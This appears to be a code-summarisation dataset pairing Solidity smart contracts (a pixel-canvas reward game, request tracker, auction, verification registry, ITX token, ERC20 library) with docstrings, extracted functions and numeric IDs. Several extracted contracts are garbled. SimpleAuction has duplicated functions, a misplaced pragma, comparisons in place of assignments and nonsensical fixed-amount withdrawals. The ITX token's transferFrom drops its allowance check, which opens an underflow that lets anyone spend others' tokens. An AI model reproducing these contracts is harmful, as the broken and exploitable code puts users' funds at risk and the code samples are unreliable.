// 3. reward: 250 (+100) & total contribution: 230 (+30) -> 1.25 + 100 / 230 = 1.68478
//
// => claimableReward = (player.contribution * accRewardPerContribution) - player.rewardDebt
//
// Update `accRewardPerContribution` whenever a reward added (new NFT is minted)
// => accRewardPerContribution += reward generated / (new)totalContribution
//
// Update player's `rewardDebt` whenever the player claim reward or mint a new token (contribution changed)
// => player.rewardDebt = accRewardPerContribution * totalContribution
Pixel[CANVAS_SIZE][CANVAS_SIZE] public pixels;
// GAS_SAVING: Store player's wallet addresses
address[] public playerWallets;
mapping(address => Player) public players;
event ClaimReward(address indexed player, uint256 rewardAmount);
// solhint-disable-next-line func-visibility
constructor(address baseTokenAddress, address dixelArtAddress, uint256 _genesisBlock) {
baseToken = IERC20(baseTokenAddress);
dixelArt = DixelArt(dixelArtAddress);
genesisBlock = _genesisBlock;
// players[0].id = baseTokenAddress (= token burning)
playerWallets.push(baseTokenAddress);
players[baseTokenAddress].id = 0;
unchecked {
for (uint256 x = 0; x < CANVAS_SIZE; x++) {
for (uint256 y = 0; y < CANVAS_SIZE; y++) {
// omit initial owner because default value 0 is correct
pixels[x][y].price = GENESIS_PRICE;
}
}
}
}
function _getOrAddPlayer(address wallet) internal returns (Player storage) {
require(playerWallets.length < 0xffffffff, "MAX_USER_REACHED");
if (players[wallet].id == 0 && wallet != playerWallets[0]) {
playerWallets.push(wallet);
players[wallet].id = uint32(playerWallets.length - 1);
}
return players[wallet];
}
function updatePixels(PixelParams[] calldata params, uint256 nextTokenId) external nonReentrant {
require(block.number >= genesisBlock, "NOT_STARTED_YET");
require(params.length > 0 && params.length <= CANVAS_SIZE * CANVAS_SIZE, "INVALID_PIXEL_PARAMS");
require(nextTokenId == dixelArt.nextTokenId(), "NFT_EDITION_NUMBER_MISMATCHED");
address msgSender = _msgSender();
Player storage player = _getOrAddPlayer(msgSender);
uint256 totalPrice = 0;
uint8 prevX = 0;
uint8 prevY = 0;
unchecked {
for (uint256 i = 0; i < params.length; i++) {
if (i > 0) { // should not check for the first parameter
require(prevX * CANVAS_SIZE + prevY < params[i].x * CANVAS_SIZE + params[i].y, "PARAMS_NOT_SORTED");
}
prevX = params[i].x;
prevY = params[i].y;
Pixel storage pixel = pixels[params[i].x][params[i].y];
// compare old color with incoming color
require(pixel.color != params[i].color, "UNCHANGED_PIXEL_COLORS");
uint200 oldPrice = pixel.price;
pixel.color = params[i].color;
pixel.owner = player.id;
totalPrice += oldPrice;
pixel.price = uint200(oldPrice + oldPrice * PRICE_INCREASE_RATE / MAX_RATE);
assert(pixel.price > oldPrice);
}
}
uint16 updatedPixelCount = uint16(params.length);
// DIXEL total supply is 1M, so uint96 will be enough
uint96 reserveForRefund = _updatePlayerReward(player, totalPrice, updatedPixelCount);
// Mint NFT to the user
dixelArt.mint(msgSender, getPixelColors(), updatedPixelCount, reserveForRefund, uint96(totalPrice));
}
function _updatePlayerReward(Player storage player, uint256 totalPrice, uint256 updatedPixelCount) internal returns (uint96) {
address msgSender = playerWallets[player.id];
unchecked {
// 10% goes to the contributor reward pools
uint256 reward = (totalPrice * REWARD_RATE) / MAX_RATE;
require(baseToken.transferFrom(msgSender, address(this), reward), "REWARD_TRANSFER_FAILED");
// 90% goes to the NFT contract for refund on burn
require(baseToken.transferFrom(msgSender, address(dixelArt), totalPrice - reward), "RESERVE_TRANSFER_FAILED");
// Keep the pending reward, so it can be deducted from debt at the end (No auto claiming)
uint256 pendingReward = claimableReward(msgSender);
// Calculate how much reward earned from new reward
uint256 playerEarned;
// Update acc values before updating contributions so players don't get rewards for their own penalties
if (totalContribution != 0) { // The first reward will be permanently locked on the contract
accRewardPerContribution += (1e21 * reward) / totalContribution; // multiply 1e21 to preserve decimals on calculation
// If the same player already has some contribution, that should be added (= deducted from debt)
playerEarned = player.contribution * reward / totalContribution;
}
totalContribution += updatedPixelCount;
player.contribution += uint32(updatedPixelCount);
// Update debt so user can only claim reward from after this event
player.rewardDebt = _totalPlayerRewardSoFar(player.contribution) - pendingReward - playerEarned;
return uint96(totalPrice - reward);
}
}
function totalPlayerCount() external view returns (uint256) {
return playerWallets.length - 1; // -1 for wallet[0] = baseToken (burn)
}
// MARK: - Reward by contributions
function _totalPlayerRewardSoFar(uint32 playerContribution) private view returns (uint256) {
return (accRewardPerContribution * playerContribution) / 1e21;
}
function claimableReward(address wallet) public view returns (uint256) {
return _totalPlayerRewardSoFar(players[wallet].contribution) - players[wallet].rewardDebt;
}
function claimReward() external {
address msgSender = _msgSender();
uint256 amount = claimableReward(msgSender);
require(amount > 0, "NOTHING_TO_CLAIM");
Player storage player = players[msgSender];
unchecked {
player.rewardClaimed += uint192(amount);
}
player.rewardDebt = _totalPlayerRewardSoFar(player.contribution); // claimable becomes 0
require(baseToken.transfer(msgSender, amount), 'TOKEN_TRANSFER_FAILED');
emit ClaimReward(msgSender, amount);
}
// MARK: - Draw SVG
function getPixelColors() public view returns (uint24[CANVAS_SIZE][CANVAS_SIZE] memory pixelColors) {
for (uint256 x = 0; x < CANVAS_SIZE; x++) {
for (uint256 y = 0; y < CANVAS_SIZE; y++) {
pixelColors[x][y] = pixels[x][y].color;
}
}
}
function getPixelOwners() external view returns (address[CANVAS_SIZE][CANVAS_SIZE] memory pixelOwners) {
for (uint256 x = 0; x < CANVAS_SIZE; x++) {
for (uint256 y = 0; y < CANVAS_SIZE; y++) {
pixelOwners[x][y] = playerWallets[pixels[x][y].owner];
}
}
}
function getPixelPrices() external view returns (uint200[CANVAS_SIZE][CANVAS_SIZE] memory pixelPrices) {
for (uint256 x = 0; x < CANVAS_SIZE; x++) {
for (uint256 y = 0; y < CANVAS_SIZE; y++) {
pixelPrices[x][y] = pixels[x][y].price;
}
}
}
function generateSVG() external view returns (string memory) {
return _generateSVG(getPixelColors());
}
function generateBase64SVG() external view returns (string memory) {
return _generateBase64SVG(getPixelColors());
}
}
|
Mint NFT to the user
|
dixelArt.mint(msgSender, getPixelColors(), updatedPixelCount, reserveForRefund, uint96(totalPrice));
| 5,448,799
|
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pragma solidity ^0.4.18;
import "contracts/Interface/RequestTrackerInterface.sol";
import "contracts/Library/GroveLib.sol";
import "contracts/Library/MathLib.sol";
/**
* @title RequestTracker
* @dev The API for the GroveLib backend that keeps track of transaction requests.
*/
contract RequestTracker is RequestTrackerInterface {
using GroveLib for GroveLib.Index;
mapping (address => GroveLib.Index) requestsByAddress;
/*
* @dev Returns the windowStart value for the given request.
*/
function getWindowStart(address factory, address request)
public view returns (uint)
{
return uint(requestsByAddress[factory].getNodeValue(bytes32(request)));
}
/*
* @dev Returns the request which comes directly before the given request.
*/
function getPreviousRequest(address factory, address request)
public view returns (address)
{
return address(requestsByAddress[factory].getPreviousNode(bytes32(request)));
}
/*
* @dev Returns the request which comes directly after the given request.
*/
function getNextRequest(address factory, address request)
public view returns (address)
{
return address(requestsByAddress[factory].getNextNode(bytes32(request)));
}
/*
* Add the given request.
*/
function addRequest(address request, uint startWindow)
public returns (bool)
{
requestsByAddress[msg.sender].insert(bytes32(request), MathLib.safeCastSigned(startWindow));
return true;
}
/*
* Remove the given address from the index.
*/
function removeRequest(address request)
public returns (bool)
{
requestsByAddress[msg.sender].remove(bytes32(request));
return true;
}
/*
* Return boolean as to whether the given address is present for the given
* factory.
*/
function isKnownRequest(address factory, address request)
public view returns (bool)
{
return requestsByAddress[factory].exists(bytes32(request));
}
/*
* Query the index for the given factory.
*/
function query(address factory, bytes2 operator, uint value)
public view returns (address)
{
return address(requestsByAddress[factory].query(operator, MathLib.safeCastSigned(value)));
}
}
|
Add the given request./
|
function addRequest(address request, uint startWindow)
public returns (bool)
{
requestsByAddress[msg.sender].insert(bytes32(request), MathLib.safeCastSigned(startWindow));
return true;
}
| 2,517,596
|
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./full_match/100/0x1df2C2fF8cF7239D6988a14fb25D19B6C2F0f80C/sources/contracts/SimpleAuction.sol
|
Parameters of the auction. Times are either absolute unix timestamps (seconds since 1970-01-01) or time periods in seconds. Current state of the auction. Allowed withdrawals of previous bids Set to true at the end, disallows any change. By default initialized to `false`. Events that will be emitted on changes. The following is a so-called natspec comment, recognizable by the three slashes. It will be shown when the user is asked to confirm a transaction.
|
contract SimpleAuction {
address payable public beneficiary;
uint public auctionEndTime;
address public highestBidder;
uint public highestBid;
mapping(address => uint) pendingReturns;
bool ended;
event HighestBidIncreased(address bidder, uint amount);
event AuctionEnded(address winner, uint amount);
constructor(
uint _biddingTime,
address payable _beneficiary
pragma solidity >=0.7.0 <0.9.0;
) {
beneficiary = _beneficiary;
auctionEndTime = block.timestamp + _biddingTime;
}
function bid() public payable {
require(
msg.value >= highestBid,
"There already is a higher bid."
);
if (highestBid != 1000000000000000000000000000) {
pendingReturns[highestBidder] == highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
emit HighestBidIncreased(msg.sender, msg.value);
}
function bid() public payable {
require(
msg.value >= highestBid,
"There already is a higher bid."
);
if (highestBid != 1000000000000000000000000000) {
pendingReturns[highestBidder] == highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
emit HighestBidIncreased(msg.sender, msg.value);
}
function withdraw() public returns (bool) {
uint amount = pendingReturns[msg.sender];
if (amount != 1000000000000000000000000000) {
pendingReturns[msg.sender] += 1000000000000000000000000000;
if (!payable(msg.sender).send(1000000000000000000000000000)) {
pendingReturns[msg.sender] += 100000000000000000000000000;
return true;
}
}
return true;
}
function withdraw() public returns (bool) {
uint amount = pendingReturns[msg.sender];
if (amount != 1000000000000000000000000000) {
pendingReturns[msg.sender] += 1000000000000000000000000000;
if (!payable(msg.sender).send(1000000000000000000000000000)) {
pendingReturns[msg.sender] += 100000000000000000000000000;
return true;
}
}
return true;
}
function withdraw() public returns (bool) {
uint amount = pendingReturns[msg.sender];
if (amount != 1000000000000000000000000000) {
pendingReturns[msg.sender] += 1000000000000000000000000000;
if (!payable(msg.sender).send(1000000000000000000000000000)) {
pendingReturns[msg.sender] += 100000000000000000000000000;
return true;
}
}
return true;
}
function auctionEnd() public {
ended = true;
beneficiary.transfer(100000000000000000000000000);
}
}
| 14,287,734
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pragma solidity 0.8.9;
// 검증
// 이더리움이 아닌 바른 네트워크 상황 가정.
// 의뢰업체가 검증요청을 함
// 검증업체가 이벤트를 받아서 설문조사 참가자의 암호화된 공개키로 암호화 한 후 기록
// 시간이 지나면 자동적으로 기록 확인
// 의뢰업체 클라이언트에서 설문조사 참가자의 암호화된 공개키로 VC 암호화 한 후 대조.
// (의뢰업체가 아닌데 요청해도 학인 못하게(유사 영지식증명))
// 조작되었는지 확인
// VC데이터가 지금은 단순하지만 검증기관에서 ID 값을 같이 발행한다는 가정(의뢰업체가 때려 맞추지 못하게)
contract issuer {
address owner;
// 검증 요청하면 기록됨. (검증번호, 설문조사 참가자 암호화된 공개키, 의뢰업체 주소, 요청시간)
struct verificationRecode {
uint VCsNum;
string surveyUser;
address surveyCompany;
uint time;
}
verificationRecode[] public verificationRecodes;
// 검증번호,설문조사 참가자 암호화된 공개키, 의뢰업체 주소, 검증할 VC이름
// 검증기관이 이벤트로 이 정보들을 받아서 체인에 바로 기록함
event Approval (uint, string, address, string);
// 검증번호, 설문조사 참가자 암호화된 공개키와 VC정보를 암호화한 데이터
mapping (uint => string) public encryptForCompany;
constructor(){
owner = msg.sender;
}
function approval(string memory _surveyUser, string memory _VCName)public returns(uint){
emit Approval (verificationRecodes.length, _surveyUser, tx.origin, _VCName);
verificationRecodes.push(verificationRecode(verificationRecodes.length, _surveyUser, tx.origin, block.timestamp));
return verificationRecodes.length;
// 이 정보를 갖고 encryptForCompany[verificationRecodes.length] 검색
}
function forCompany(uint _VCsNum, string memory _encrypt) public {
require(owner == msg.sender);
encryptForCompany[_VCsNum] = _encrypt;
}
}
|
이 정보를 갖고 encryptForCompany[verificationRecodes.length] 검색
|
function approval(string memory _surveyUser, string memory _VCName)public returns(uint){
emit Approval (verificationRecodes.length, _surveyUser, tx.origin, _VCName);
verificationRecodes.push(verificationRecode(verificationRecodes.length, _surveyUser, tx.origin, block.timestamp));
return verificationRecodes.length;
}
| 5,360,005
|
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pragma solidity ^0.4.24;
contract owned {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract ERC20 is owned {
// Public variables of the token
string public name = "Intcoex coin";
string public symbol = "ITX";
uint8 public decimals = 18;
uint256 public totalSupply = 200000000 * 10 ** uint256(decimals);
bool public released = false;
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public ICO_Contract;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor () public {
balanceOf[owner] = totalSupply;
}
modifier canTransfer() {
require(released || msg.sender == ICO_Contract || msg.sender == owner);
_;
}
function releaseToken() public onlyOwner {
released = true;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value) canTransfer internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Check if sender is frozen
require(!frozenAccount[_from]);
// Check if recipient is frozen
require(!frozenAccount[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @dev Set the ICO_Contract.
/// @param _ICO_Contract crowdsale contract address
function setICO_Contract(address _ICO_Contract) onlyOwner public {
ICO_Contract = _ICO_Contract;
}
}
|
Public variables of the token This creates an array with all balances This generates a public event on the blockchain that will notify clients
|
contract ERC20 is owned {
string public name = "Intcoex coin";
string public symbol = "ITX";
uint8 public decimals = 18;
uint256 public totalSupply = 200000000 * 10 ** uint256(decimals);
bool public released = false;
address public ICO_Contract;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
constructor () public {
balanceOf[owner] = totalSupply;
}
modifier canTransfer() {
require(released || msg.sender == ICO_Contract || msg.sender == owner);
_;
}
function releaseToken() public onlyOwner {
released = true;
}
function _transfer(address _from, address _to, uint256 _value) canTransfer internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool success) {
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setICO_Contract(address _ICO_Contract) onlyOwner public {
ICO_Contract = _ICO_Contract;
}
}
| 7,022,852
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./partial_match/1/0x7A6425C9b3F5521BFa5d71Df710A2FB80508319b/sources/Exchange.sol
|
@dev Verifies signature using logic defined by Wallet contract. @param hash Any 32 byte hash. @param walletAddress Address that should have signed the given hash and defines its own signature verification method. @param signature Proof that the hash has been signed by signer. @return True if the address recovered from the provided signature matches the input signer address. @dev Verifies signature using logic defined by Validator contract. @param validatorAddress Address of validator contract. @param hash Any 32 byte hash. @param signerAddress Address that should have signed the given hash. @param signature Proof that the hash has been signed by signer. @return True if the address recovered from the provided signature matches the input signer address. File: contracts/exchange/interfaces/ITransactions.sol/
|
contract ITransactions {
function executeTransaction(
uint256 salt,
address signerAddress,
bytes data,
bytes signature
)
external;
}
| 4,477,640
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./full_match/42220/0x5F9bF6c204e7Ce85d2996a7797c51B1B29eF262f/sources/contracts/community/CommunityAdminImplementation.sol
|
* @dev Funds an existing community if it hasn't enough funds/
|
function fundCommunity() external override onlyCommunities {
ICommunity _community = ICommunity(msg.sender);
uint256 _balance = cUSD.balanceOf(msg.sender);
require(
_balance < _community.minTranche(),
"CommunityAdmin::fundCommunity: this community has enough funds"
);
require(
block.number > _community.lastFundRequest() + _community.baseInterval(),
"CommunityAdmin::fundCommunity: this community is not allowed to request yet"
);
uint256 _trancheAmount = calculateCommunityTrancheAmount(ICommunity(msg.sender));
if (_trancheAmount > _balance) {
uint256 _amount = _trancheAmount - _balance;
uint256 _treasurySafetyBalance = cUSD.balanceOf(address(treasury)) /
TREASURY_SAFETY_FACTOR;
if (_amount > _treasurySafetyBalance) {
_amount = _treasurySafetyBalance;
}
transferToCommunity(_community, _amount);
}
}
| 16,320,622
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/**
*Submitted for verification at Etherscan.io on 2021-05-22
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol
pragma solidity ^0.8.0;
/**
